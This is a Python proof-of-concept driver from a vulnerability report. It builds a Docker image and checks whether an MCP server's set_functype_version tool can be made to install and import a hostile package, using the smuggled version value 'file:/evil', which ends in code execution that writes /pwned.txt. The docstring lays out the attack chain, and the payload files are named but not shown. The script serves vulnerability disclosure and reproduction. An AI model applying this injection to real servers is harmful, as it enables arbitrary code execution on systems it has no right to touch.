#!/usr/bin/env python3
"""
PoC driver for VULN-001: MCP set_functype_version Package Alias RCE
via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).

Attack chain:
  1. Attacker calls MCP tool set_functype_version with version="file:/evil"
  2. Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...)
  3. Evil package is installed as the functype alias in mcp-server's node_modules
  4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it
  5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)

Usage:
  python3 poc.py [--build-only]

Requirements:
  - Docker daemon running
  - Build context at parent directory of this file's directory
"""

import subprocess
import sys
import json
import os
import argparse

VULN_DIR = os.path.dirname(os.path.abspath(__file__))
REPORT_DIR = os.path.dirname(VULN_DIR)
IMAGE_NAME = "vuln001-functype-rce"
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
RESULT_FILE = os.path.join(VULN_DIR, "phase2_result.json")

BUILD_CMD = ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, REPORT_DIR]
RUN_CMD = ["docker", "run", "--rm", IMAGE_NAME]


def run(cmd, timeout=None, **kwargs):
    """Run a command and return CompletedProcess with combined output."""
    return subprocess.run(
        cmd,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True,
        timeout=timeout,
        **kwargs,
    )


def write_result(passed, verdict, reason, evidence):
    result = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": " ".join(BUILD_CMD),
        "run_command": " ".join(RUN_CMD),
        "poc_command": f"python3 {os.path.basename(__file__)}",
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"],
    }
    with open(RESULT_FILE, "w", encoding="utf-8") as f:
        json.dump(result, f, indent=2, ensure_ascii=False)
    print(f"[poc] Result written to {RESULT_FILE}")
    print(f"[poc] verdict={verdict}  passed={passed}")


def main():
    parser = argparse.ArgumentParser(description="VULN-001 PoC driver")
    parser.add_argument("--build-only", action="store_true", help="Only build the image, do not run")
    args = parser.parse_args()

    # ── Build ─────────────────────────────────────────────────────────────────
    print("[poc] Building Docker image (this may take a few minutes)...")
    print(f"[poc] Build command: {' '.join(BUILD_CMD)}")

    try:
        build = run(BUILD_CMD, timeout=900)
    except subprocess.TimeoutExpired:
        msg = "Docker build timed out after 900 seconds"
        print(f"[poc] ERROR: {msg}")
        write_result(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg)
        sys.exit(2)

    if build.returncode != 0:
        tail = (build.stdout + "\n" + build.stderr)[-3000:]
        print("[poc] Build FAILED:")
        print(tail)
        write_result(
            False,
            "FAIL",
            "Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.",
            f"BUILD EXIT {build.returncode}\n{tail}",
        )
        sys.exit(1)

    print("[poc] Build succeeded.")

    if args.build_only:
        print("[poc] --build-only flag set; skipping run.")
        sys.exit(0)

    # ── Run ───────────────────────────────────────────────────────────────────
    print(f"[poc] Running exploit container: {' '.join(RUN_CMD)}")

    try:
        run_result = run(RUN_CMD, timeout=180)
    except subprocess.TimeoutExpired:
        msg = "Container run timed out after 180 seconds"
        print(f"[poc] ERROR: {msg}")
        write_result(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg)
        sys.exit(2)

    stdout = run_result.stdout or ""
    stderr = run_result.stderr or ""
    combined = stdout + "\n" + stderr

    print("=" * 60)
    print("STDOUT:")
    print(stdout)
    print("STDERR:")
    print(stderr)
    print(f"EXIT CODE: {run_result.returncode}")
    print("=" * 60)

    # Success criteria: exit 0 AND exploit succeeded message present
    exploit_succeeded = "EXPLOIT SUCCEEDED" in combined
    passed = run_result.returncode == 0 and exploit_succeeded

    if passed:
        # Extract key evidence lines
        evidence_lines = [
            line for line in combined.splitlines()
            if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:"))
        ]
        evidence = "\n".join(evidence_lines) if evidence_lines else combined[-1000:]

        write_result(
            True,
            "PASS",
            (
                "컨테이너 내 /pwned.txt 생성 확인: MCP set_functype_version 도구에 "
                'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 '
                "initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함."
            ),
            evidence,
        )
        print("[poc] === PASS: exploit reproduced ===")
        sys.exit(0)

    else:
        # Distinguish failure modes
        if not exploit_succeeded and run_result.returncode == 0:
            verdict = "INCOMPLETE"
            reason = (
                "/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. "
                "pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 "
                "node_modules/functype 심볼릭링크가 예상 위치에 없을 수 있음."
            )
        else:
            verdict = "FAIL"
            reason = (
                f"컨테이너 종료 코드 {run_result.returncode}. "
                "exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요."
            )

        write_result(False, verdict, reason, combined[-2000:])
        print(f"[poc] === {verdict}: exploit did not reproduce ===")
        sys.exit(1)


if __name__ == "__main__":
    main()